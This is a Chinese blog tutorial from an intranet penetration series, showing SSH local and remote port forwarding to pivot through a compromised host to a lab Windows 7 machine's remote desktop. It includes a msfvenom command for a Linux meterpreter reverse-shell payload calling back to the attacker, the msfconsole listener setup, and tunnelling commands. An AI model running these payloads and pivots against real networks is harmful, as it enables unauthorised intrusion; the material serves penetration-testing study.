[隧道代理] 隧道代理 — 端口转发 - SSH 端口转发
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:SSH 工具介绍
SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络中安全地执行远程登录、命令执行和文件传输等操作。SSH 工具是用于实现 SSH 协议的客户端或服务端软件,SSH 工具可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP 和端口转发等功能。
SSH 转发常用参数如下:
参数 | 含义 |
---|---|
-C | 请求压缩所有数据 |
-D | 动态转发、即 Socks 代理 |
-f | 后台执行 SSH 命令 |
-g | 允许远程主机连接主机的转发端口 |
-L | 本地转发 |
-N | 不执行远程指令,处于等待状态 |
-R | 远程转发 |
0x02:SSH 本地端口转发(正向转发)
SSH 本地端口转发条件:你要知道本地 Root 用户的账号密码,且机器允许 Root 远程登录。
0x0201:场景描述
现在有如下网络,电脑 A 是攻击机(公网),可以直接访问电脑 B(公网),但是无法访问电脑 C(内网),此时我们就可以借助电脑 B 上的 SSH 命令进行端口转发访问电脑 C 指定端口。
网络拓扑图如下,AB 两台机器模拟公网环境(笔者没有购买公网服务器,大家先暂时将 192.168 这个当作公网 IP 好了,意思达到就行),BC 两台机器模拟内网环境,C 机器是纯内网机器,即它也访问不了 A:
复现环境
攻击机 Kali Linux:IP 192.168.0.136
边界机器 CentOS7:IP 192.168.0.137 / 192.168.10.128
内网机器 Windows 7 专业版:IP 192.168.10.129 - 开放 3389 端口
0x0202:试验步骤
1. 拿到边界机器 Shell
使用 WebShell 或者其他方式登录边界机器 B 中,笔者这里采用 SSH 直接通过账号密码登录(问就是我自己通过漏洞篡改了它的 /etc/shadow
和 /etc/passwd
创建的用户):
ssh root@192.168.0.137
2. SSH 本地端口转发
假设我们通过内网信息收集获得目标内网的 C 机器 192.168.10.129 开放了 3389 端口,但是由于网络隔离,我们无法通过 rdesktop
命令直接访问 C 机器。
但是我们现在控制的 B 机器与 C 机器处于同一网段,所以我们可以通过本地端口转发技术,让 B 机器的 3333 端口与 C 机器的 3389 端口做一个绑定。这样,当我们攻击机访问 B 机器的 3333 端口就相当于访问了 C 机器的 3389 端口。
在跳板机 B 机器的远控 Shell 中输入下面命令,进行本地端口转发(需要知道 B 机器 Root 用户密码,且 B 机器允许 Root 用户远程登录):
ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP # 需要输入跳板机的账号密码
示例: ssh -CfNg -L 3333:192.168.10.129:3389 192.168.0.137
如上,如果没报错,就证明 SSH 隧道搭建完毕了。
3. 正向连接访问内网 C 机器远程桌面服务
此时我们在 Kali Linux 中新开一个窗口,输入如下命令,尝试连接 C 机器的远程桌面(如果连接失败,请尝试关闭 C 机器的防火墙):
rdesktop 192.168.0.137:3333
如上,成功连接上了目标内网 C 机器的 3389 远程桌面服务。而且,值得注意的是,我们从头到尾只在 B 机器上进行操作,并没有碰 C 机器。
0x03:SSH 远程端口转发(反向转发)
SSH 远程端口转发条件:你要知道远程 Root 用户的账号密码,且机器允许 Root 远程登录。
0x0301:场景描述
现有如下网络,电脑 A 是攻击机(公网),电脑 B 与 电脑 C 都是内网机器,所以 A 不能直接访问 B、C,但是 B、C 均能访问 A:
面对上面那种情况,我们就可以使用 SSH 反向端口转发技术,利用 B 电脑,将 C 电脑指定端口转发到攻击者机器上面,然后进行攻击(全程都不需要 C 电脑参与操作)。
复现环境
攻击机 A - Kali Linux:IP 192.168.0.102 - VMWare 设置为桥接模式
边界机器 - Windows 11(物理机):IP 192.168.0.100 / 172.16.0.1
内网机器 B - CentOS 7:IP 172.16.0.101 - VMWare 设置为 NAT 模式
内网机器 C - Windows 7 专业版:IP 172.16.0.100 - 确保它开启了 3389 远程桌面服务,且 VMWare 也设置为 NAT 模式
0x0302:试验步骤
1. 拿到内网机器 B 的 Shell
这里笔者是通过 Kali Linux 上的 MSF 制作的 Linux 恶意程序上线的员工 B 电脑:
# Kali Linux 生成针对 Linux 的病毒文件
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=7777 -f elf -o shell.elf
# Kali Linux 本地监听命令
msfconsole # 启动 msf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.0.102
set LPORT 7777
run
2. SSH 远程端口转发
假设我们通过信息收集发现在 B 机器中发现了 C 机器的账号密码,同时我们还发现 C 机器开放了 3389 端口。那么下一步,我们就想通过 C 机器的远程登录服务控制 C 机器,先分析一下:
目前我们攻击机 A 是无法直接访问对方内网的,只能借助 B 机器,B 机器与 C 机器位于同一网段,而我们仅仅是想获得 C 机器的 3389 服务。如果仅仅是吧 C 机器的 3389 转到 B 机器上(本地端口转发),我们 A 机器还是无法访问,但是如果借助 B 机器,将 C 机器的 3389 转发到 A 机器上(远程端口转发),那我们攻击者访问自己还不是轻轻松松。
利用 meterpreter 在 B 机器中执行下面这条命令:
ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP # 需要输入攻击者的账号密码
示例: ssh -CfNg -R 3333:172.16.0.100:3389 192.168.0.102
如上,如果没有报错,那么恭喜你,SSH 反向端口转发隧道搭建完毕。
3. 反向连接访问内网 C 机器远程桌面服务
此时我们在 Kali Linux 中新开一个窗口,输入如下命令,尝试连接 C 机器的远程桌面(如果连接失败,请尝试关闭 C 机器的防火墙):
rdesktop 127.0.0.1:3333
如上,攻击机成功拿到了目标内网 C 机器的远程桌面(可惜的是,这个只能在攻击机本地访问,即你如果想通过另一台机器以 192.168.0.102:3333
作为远程桌面的连接请求是无效的)。
0x04:SSH 动态端口转发(Socks 代理)
动态转发类似于 Socks 代理,不仅仅是针对某一个端口的数据进行转发,这个留到后面代理部分讲解。
0x05:参考资料
Linux下解决网卡重启失败Restarting network (via systemctl): Job for network.service failed较全的解决方案-CSDN博客文章浏览阅读2.4w次,点赞42次,收藏138次。Linux下解决网卡重启失败Restarting network (via systemctl): Job for network.service failed较全的解决方案_restarting network (via systemctl): job for network.service failed because thttps://blog.csdn.net/m0_52318340/article/details/133209095
使用root用户ssh远程连接kali - junlin623 - 博客园问题: 直接通过命令 ssh root@ip 无法连接root用户 解决方案: 使用普通用户连接上之后在终端中(此处以windows的cmd窗口进行演示)进行root用户的切换 直接通过root用户登录,但是需要提前到kali中修改配置文件( /etc/ssh/sshd_config) 修改前: 修https://www.cnblogs.com/junlin623/p/17019558.html